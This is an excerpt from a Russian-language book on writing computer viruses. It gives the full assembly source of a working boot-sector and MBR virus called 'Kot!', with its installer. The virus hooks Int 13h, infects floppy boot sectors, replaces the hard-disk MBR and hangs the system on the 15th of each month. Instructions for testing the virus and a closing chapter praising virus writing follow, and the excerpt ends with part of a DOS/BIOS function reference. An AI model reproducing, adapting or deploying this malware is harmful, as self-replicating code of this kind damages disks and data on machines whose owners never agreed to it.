Жанр: Учеба
Как написать компьютерный вирус
... ;
;
push es ;Получим пара-
mov ah,08h ;метры дискеты
xor dl,dl ;
int 13h ;
jnc all_good ;
cmp ah,01h ;
jne error ;
mov dh,01h ;
mov ch,27h ;
mov cl,byte ptr bufer [18h] ;
all_good: xor dl,dl ;
mov num_head,dx ;
mov cyl_sect,cx ;
pop es ;
;Перепишем нас-
;тоящий BOOT в
;последний сек-
;тор последней
;дорожки на пос-
;ледней стороне
mov ax,0301h ;
lea bx,bufer ;
int 13h ;
jc error ;
;Сформируем код,
;который нужно
;записать на
;дискету вместо
;исходной BOOT -
;записи
mov additor,055h ;
lea si,bufer + 55h ;
lea di,my_prg ;
mov cx,prg_lenght ;
copy_boot: mov al,byte ptr [di] ;
mov byte ptr [si],al ;
inc si ;
inc di ;
loop copy_boot ;
mov word ptr bufer[0],053ebh ;
;И запишем его
;в первый
;сектор нулевой
;дорожки нулевой
;стороны дискеты
mov ax,0301h ;
mov cx,01h ;
mov dx,0 ;
lea bx,bufer ;
int 13h ;
jnc prg_end ;
;
error: mov ah,09h ;Если была оши-
lea dx,err_mes ;бка - выведем
int 21h ;сообщение о ней
;
prg_end: mov ax,4c00h ;Завершаем за-
int 21h ;пускающую про-
;грамму
err_mes db 'Error !$' ;Сообщение
bufer db 512 dup ( 0 ) ;В этот буфер
;считывается
;BOOT - сектор
;заражаемой
;дискеты
prg ends ;
end my_prg ;
Если вирусу не удалось заразить диск, то выдается
сообщение " ERROR ! ". В этом случае попытку зара-
жения просто нужно повторить.
И еще - если вы хотите узнать, зачем понадобились
первые четыре команды инсталлятора, вам следует
посмотреть приводимый ниже полный текст вирусной
программы. Обратите внимание на первую команду, а
именно : " jmp installer ".Инсталлятор замещает ее
кодом, устанавливающим собственный стек вируса, и
поэтому в заражаемые сектора эта команда не по-
падет.
1.15 Текст загрузочного вируса
Ниже представлен текст предлагаемого загрузочного
вируса :
; _______________________________________________
;| |
;| BOOT & MBR virus |
;| Especially for my readers ! |
;|_______________________________________________|
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
my_prg: jmp installer ;
db 0d0h ;
mov sp,7bfeh ;Установка собс-
;твенного стека
push ax ;Сохраним в сте-
push bx ;ке используемые
push cx ;регистры
push dx ;
push si ;
push ds ;
push es ;
pushf ;
;
push cs ;DS = CS
pop ds ;
;
sub word ptr ds:[0413h],2 ;"Отрежем" у DOS
mov ax,ds:[0413h] ;два килобайта
mov cl,6 ;памяти и вычис-
;лим
sal ax,cl ;сегментный ад-
;рес,по которому
;находится полу-
;ченный блок
mov es,ax ;Поместим адрес
;в ES
xor si,si ;И скопируем код
mov cx,prg_lenght ;вируса длиной
prg_copy: db 8ah ;"prg_lenght" в
db 9ch ;память по адре-
additor db 00h ;су ES : 0000h
db 7ch ;Сам код при за-
mov byte ptr es:[si],bl;грузке помещае-
inc si ;тся BIOS по ад-
loop cs:prg_copy ;ресу 0000:7C00h
;
push ax ;Запишем в стек
mov ax,to_read_boot ;адрес ES:to_re-
push ax ;ad_boot и осу-
db 0cbh ;ществим переход
;на этот адрес
to_read_boot equ $ - my_prg ;
;
read_boot: push cs ;DS = CS
pop ds ;
;
xor si,si ;SI = 0
mov es,si ;ES = SI
;Получим вектор
;Int 13h и сох-
;раним его :
mov bx,word ptr es:[4ch] ;
mov word ptr old_13h - 100h,bx ;
mov bx,word ptr es:[4eh] ;
mov word ptr old_13h_2 - 100h,bx ;
;
mov si,vvv - 100h ;
mov word ptr es:[si],to_new_13h ;И установим
mov word ptr es:[si + 2],cs ;вектор Int 13h
;на вирусный об-
;работчик
;
mov dx,num_head - 100h ;Считаем настоя-
mov cx,cyl_sect - 100h ;щий загрузочный
mov bx,7c00h ;сектор в память
mov ax,0201h ;по адресу
int 13h ;0000:7C00h
push cs ;ES = CS
pop es ;
;
mov dl,0080h ;Считаем MBR
call cs:read_mbr ;винчестера
jc cs:to_quit ;по адресу
;CS:0400h, при-
;чем загрузка
;сейчас может
;производиться
;и с дискеты !
cmp byte ptr ds:[400h],33h ;MBR уже зара-
je cs:to_quit ;жена ?
;
mov dx,0080h ;Нулевая головка
;первого жестко-
;го диска
mov cx,000ch ;Сектор 12,
;дорожка 0
mov dl_save - 100h,dl ;
;Сохраним эти
;параметры .
call cs:write_mbr_last ;Кроме того,
;перепишем нас-
;тоящую MBR в
;сектор 12
jc cs:to_quit ;нулевой дорожки
;на нулевой сто-
;роне HDD .
xor si,si ;Сформируем код
mov additor - 100h,00h ;для записи его
mov cx,prg_lenght ;
copy_vir_mbr: ;на место исход-
mov al,byte ptr ds:[si];ной MBR
mov byte ptr ds:[si + 400h],al ;
inc si ;
loop cs:copy_vir_mbr ;
;
mov dx,0080h ;Запишем этот
call cs:write_mbr ;код в первый
;сектор нулевой
;дорожки нулевой
;стороны винчес-
;тера
to_quit: mov ah,04h ;Наш
int 1ah ;вирус при
jc cs:bad_clock ;загрузке по
cmp dl,15h ;15 - м числам
vis: je cs:vis ;вешает систему
bad_clock: popf ;Восстановим из
pop es ;стека
pop ds ;регистры
pop si ;
pop dx ;
pop cx ;
pop bx ;
pop ax ;
;
db 0eah ;И отдадим упра-
dw 7c00h ;вление настоя-
dw 0000h ;щей загрузочной
;записи ( MBR )
;Далее следует
;вирусный обра-
;ботчик Int 13h
to_new_13h equ $ - my_prg ;
;
new_13h: pushf ;Сохраним флаги
cmp dl,01h ;Операция с дис-
;ководом " A "
;или " B " ?
ja cs:to_sys_13h ;Нет !
cmp ah,02h ;Чтение ?
jne cs:to_sys_13h ;Нет !
cmp ch,00h ;Дорожка " 0 " ?
jne cs:to_sys_13h ;Нет !
cmp cl,01h ;Сектор-первый ?
je cs:to_sys_13h ;Да !
call cs:boot_infect ;Вызовем проце-
;дуру заражения
;BOOT - секторов
;дискет
to_sys_13h: ;
popf ;Восстановим
;флаги
db 0eah ;Перейдем к сис-
old_13h dw 0 ;темному обра-
old_13h_2 dw 0 ;ботчику Int 13h
boot_infect proc ;
push ax ;Сохраним реги-
push bx ;стры в стеке
push cx ;прерванного
push dx ;процесса
push di ;
push ds ;
push es ;
pushf ;
;
push cs ;ES = CS
pop es ;
;
push cs ;DS = CS
pop ds ;
;
mov cx,3 ;Попробуем про-
next_read: push cx ;честь BOOT -
;сектор дискеты.
call cs:read_mbr ;На это даем три
pop cx ;попытки (напри-
jnc cs:inf_check ;мер,если двига-
;тель дисковода
;не успел разо-
;гнаться до ра-
;бочей скорости,
;то BIOS вернет
;ошибку -дискета
;сменена ! )
xor ah,ah ;При ошибке -
pushf ;сбросим текущий
call dword ptr old_13h - 100h ;дисковод
jc cs:to_jump ;и повторим
loop cs:next_read ;чтение
to_jump: jmp cs:restore_regs ;
;BOOT - сектор
;заражен ?
inf_check: cmp byte ptr ds:[455h],33h
je cs:to_jump ;Да !
cmp word ptr ds:[40bh],200h ;512 байт в
;секторе ?
jne cs:to_jump ;Нет !
;
mov dl_save - 100h,dl
mov ch,79 ;Определим
mov dh,byte ptr ds:[415h]
cmp dh,0f0h ;параметры
je cs:real_80 ;дискеты
cmp dh,0f9h ;по ее
je cs:real_80 ;Media
cmp dh,0fdh ;Descryptor
jne cs:to_jump ;
mov ch,39 ;
real_80: mov dh,01h ;
mov cl,byte ptr ds:[418h]
;Перепишем нас-
;тоящий BOOT в
;последний сек-
;тор последней
;дорожки на пос-
;ледней стороне
xor dl,dl ;
call cs:write_mbr_last ;
jc cs:to_jump ;
;
mov additor - 100h,055h;Сформируем код,
xor di,di ;который нужно
mov cx,prg_lenght ;записать на
copy_vir: mov al,byte ptr ds:[di];дискету вместо
mov byte ptr ds:[di + 455h],al ;исходной BOOT -
inc di ;записи
loop cs:copy_vir ;
mov word ptr ds:[400h],053ebh ;
;
xor dh,dh ;И запишем его
call cs:write_mbr ;в первый
;сектор нулевой
;дорожки нулевой
;стороны дискеты
;
restore_regs: ;Восстановим из
popf ;стека регистры
pop es ;
pop ds ;
pop di ;
pop dx ;
pop cx ;
pop bx ;
pop ax ;
ret ;Выйдем из про-
;цедуры
boot_infect endp ;
read_mbr proc ;
xor dh,dh ;
mov ax,0201h ;Процедура
mov bx,400h ;читает первый
mov cx,01h ;сектор нулевой
pushf ;дорожки нулевой
call dword ptr old_13h - 100h ;стороны указан-
ret ;ного накопителя
read_mbr endp ;
;
write_mbr proc ;
mov ax,0301h ;Процедура
mov cx,01h ;помещает вирус-
pushf ;ный код в BOOT-
call dword ptr old_13h - 100h ;сектор дискеты
ret ;или записывает
write_mbr endp ;его вместо MBR
;винчестера
;
write_mbr_last proc ;Процедура
;переписывает
;исходную BOOT-
;запись или MBR
mov num_head - 100h,dx ;в заданный
mov cyl_sect - 100h,cx ;сектор зара-
mov dl,dl_save - 100h ;жаемого
;диска
mov ax,0301h ;
pushf ;
call dword ptr old_13h - 100h ;
ret ;
write_mbr_last endp ;
db 'Kot!' ;Название вируса
dl_save db 0 ;Ячейка для вре-
;менного хране-
;ния регистра DL
;( Он задает
;номер
;накопителя )
num_head dw 0 ;Здесь вирус
cyl_sect dw 0 ;хранит номер
;головки,дорожки
;и сектора , в
;которых запи-
;сана настоящая
;загрузочная
;запись
;зараженного
;диска
vvv dw 004ch ;Смещение к век-
;тору Int 13h
;Длина вирусного
;кода :
prg_lenght equ $ - my_prg
installer: lea si,my_prg ;Подменим коман-
mov byte ptr [si],33h ;ду перехода на
mov byte ptr [si + 1],0c0h ;первые три бай-
mov byte ptr [si + 2],8eh ;та кода вируса
;Попробуем про-
;честь
;BOOT -
;сектор дискеты.
mov ax,0201h ;
mov cx,01h ;
xor dx,dx ;
lea bx,bufer ;
int 13h ;
jc error ;
;
push es ;Получим пара-
mov ah,08h ;метры дискеты
xor dl,dl ;
int 13h ;
jnc all_good ;
cmp ah,01h ;
jne error ;
mov dh,01h ;
mov ch,27h ;
mov cl,byte ptr bufer [18h] ;
all_good: xor dl,dl ;
mov num_head,dx ;
mov cyl_sect,cx ;
pop es ;
;Перепишем нас-
;тоящий BOOT в
;последний сек-
;тор последней
;дорожки на пос-
;ледней стороне
mov ax,0301h ;
lea bx,bufer ;
int 13h ;
jc error ;
;Сформируем код,
;который нужно
;записать на
;дискету вместо
;исходной BOOT -
;записи
mov additor,055h ;
lea si,bufer + 55h ;
lea di,my_prg ;
mov cx,prg_lenght ;
copy_boot: mov al,byte ptr [di] ;
mov byte ptr [si],al ;
inc si ;
inc di ;
loop copy_boot ;
mov word ptr bufer[0],053ebh ;
;И запишем его
;в первый
;сектор нулевой
;дорожки нулевой
;стороны дискеты
mov ax,0301h ;
mov cx,01h ;
mov dx,0 ;
lea bx,bufer ;
int 13h ;
jnc prg_end ;
;
error: mov ah,09h ;Если была оши-
lea dx,err_mes ;бка - выведем
int 21h ;сообщение о ней
;
prg_end: mov ax,4c00h ;Завершаем за-
int 21h ;пускающую про-
;грамму
err_mes db 'Error !$' ;Сообщение
bufer db 512 dup ( 0 ) ;В этот буфер
;считывается
;BOOT - сектор
;заражаемой
;дискеты
prg ends ;Стандартное
end my_prg ;окончание ASM-
;программы ...
1.16 Комментарии
Вирус,который мы разработали в этой главе, заража-
ет BOOT - сектора дискет и MBR жесткого диска. Как
вы убедились, написать загрузочный вирус совсем
несложно - гораздо легче,чем, скажем, файловый.Тем
не менее я настоятельно рекомендую читателям по-
пробовать " поймать " один из существующих загру-
зочных вирусов и исследовать его работу. Для начи-
нающих можно порекомендовать FORM или KONSTANTIN .
Если же вы достаточно опытный вирусолог, то можете
помериться силами с ONEHALF или другим шифрованным
вирусом. Правда учтите, что экспериментировать с
чужими вирусными программами надо осторожно - не-
которые из них при трассировке вирусного кода мо-
гут испортить " винчестер " вашего компьютера.
1.17 Испытание вируса
Для проверки в действии загрузочного вируса доста-
точно загрузиться с зараженного магнитного диска.
Понаблюдайте, как вирус заражает дискеты и в каких
случаях. Попробуйте найти в памяти вирусный код, а
найдя - пройдите его отладчиком.
Перед проведением экспериментов с предложенной
программой обязательно скопируйте оригинальную MBR
жесткого диска в отдельный файл на дискете. Если
этого не сделать, вы рискуете потерять данные на
винчестере.
Все проверки вирусной программы рекомендуется про-
водить с помощью программы DISKEDIT, желательно
одной из последних версий. С помощью этой же прог-
раммы можно " вылечить " зараженный диск, если ви-
рус вам " надоест ".
ЗАКЛЮЧЕНИЕ
Эта книга задумывалась и писалась лишь для того,
чтобы приоткрыть завесу таинственности и секретно-
сти, которой окутана почти не овещаемая в литера-
туре тема компьютерных вирусов . Автор ни в коем
случае не ставил своей целью обучить пользователей
ЭВМ разработке всевозможных "вредных" программных
средств, а просто хотел поделиться своими знаниями
и результатами экспериментов с широкой обществен-
ностью .Наверняка найдется немало людей - специа-
листов и любителей,которых интересует затронутая в
данной работе тема .И если кто - то из них пожела-
ет ознакомиться с предлагаемой книгой, я буду счи-
тать, что потратил время не зря .Разработка дейст-
вующих компьютерных вирусов - захватывающее и сло-
жное дело, требующее немалого опыта и определенной
теоретической базы .Надеюсь, эта книга сможет ока-
зать вам некоторую помощь .
К сожалению,изложение не рассчитано на начинающих,
поэтому автору не удалось приблизить стиль книги к
научно - популярному . Хотя это трудно отнести к
недостаткам .
До встречи !
ПРИЛОЖЕНИЕ 1
Краткий справочник по функциям MS DOS и BIOS
*
Справочные материалы по функциям MS DOS и BIOS
с незначительными изменениями заимствованы из
[1], за что автор приносит К.Г.Финогенову свои
извинения.
--------------------------------------------------
Функция 09h - Вывод строки на экран.Последним сим-
волом строки должен быть " $ " .Управляющие коды :
07h - звонок, 08h - шаг назад, 0Ah - перевод стро-
ки, 0Dh - возврат каретки .
Вызов : AH = 09h
DS : DX = адрес строки .
Функция 0Eh - Выбор диска .Предназначена для смены
текущего диска .Также возвращает количество логи-
ческих дисков .
Вызов : AH = 0Eh
AL = код дисковода ( 0 = A, 1 = B, 80h =
= C и т.п. )
Возврат : AL = количество дисководов в системе .
Функция 19h - Получение текущего диска .
Вызов : AH = 19h
Возврат : AL = код текущего диска ( 0 = A, 1 = B,
80h = C и т.п. ) .
Функция 1Ah - Установка адреса области передачи
данных ( DTA ) .Устанавливает заданный адрес DTA .
Вызов : AH = 1Ah
DS : DX = адрес DTA .
Функция 25h - Установка вектора прерывания .Запи-
сывает адрес программы обработки заданного преры-
вания в таблицу векторов .
Вызов : AH = 25h
AL = номер вектора прерывания
DS : DX = адрес программы обработки пре-
рывания .
Функция 19h - Получение даты .
Вызов : AH = 2Ah
Возврат : CX = год
DH = месяц
DL = день
AL = день недели ( 0 = воскресенье, 6 -
суббота ) .
Функция 2Fh - Получение адреса области передачи
данных ( DTA ) .Возвращает текущий адрес DTA .
Вызов : AH = 2Fh
Возврат : ES : DX = адрес DTA .
Функция 35h - Получение вектора прерывания .Считы-
вает адрес программы обработки заданного прерыва-
ния из таблицы векторов .
Вызов : AH = 35h
AL = номер вектора прерывания
Возврат : ES : BX = адрес программы обработки пре-
рывания .
Функция 3Bh - Смена каталога.Предназначена для вы-
бора текущего каталога .
Вызов : AH = 3Bh
DS : DX = полное имя каталога (например,
C:\TASM\VIRUS\
При ошибке :
CF = 1
AX = код ошибки .
Функция 3Dh - Открытие файла .Открывает файл с за-
данным именем и возвращает дескриптор, выделенный
этому файлу системой .Указатель устанавливается на
начало файла .
Вызов : AH = 3Dh
AL = режим доступа : 0 - для чтения
1 - для записи
2 - для чтения
и записи
DS : DX = полное имя файла ( например,
C:\TASM\VIRUS\EXE_VIR.COM )
Возврат : AX = дескриптор
При ошибке :
CF = 1
AX = код ошибки .
Функция 3Eh - Закрытие файла .Закрывает файл с за-
данным дескриптором.Дескриптор освобождается, кро-
ме того, модифицируются дата и время создания фай-
ла, если файл был изменен .
Вызов : AH = 3Eh
DX = дескриптор
При ошибке :
CF = 1
AX = код ошибки .
Функция 3Fh - Чтение из файла или устройства .Счи-
тывает данные из файла или устройства и модифици-
рует указатель .При чтении читается строка указан-
ной длины . При чтении из символьного устройства
чтение прекращается, если встретился символ воз-
врата каретки ( например,при вводе с клавиатуры ).
Вызов : AH = 3Fh
BX = дескриптор
CX = количество передаваемых символов
DS : DX = адрес буфера, в который поме-
щаются данные
Возврат : AX = число
...Закладка в соц.сетях
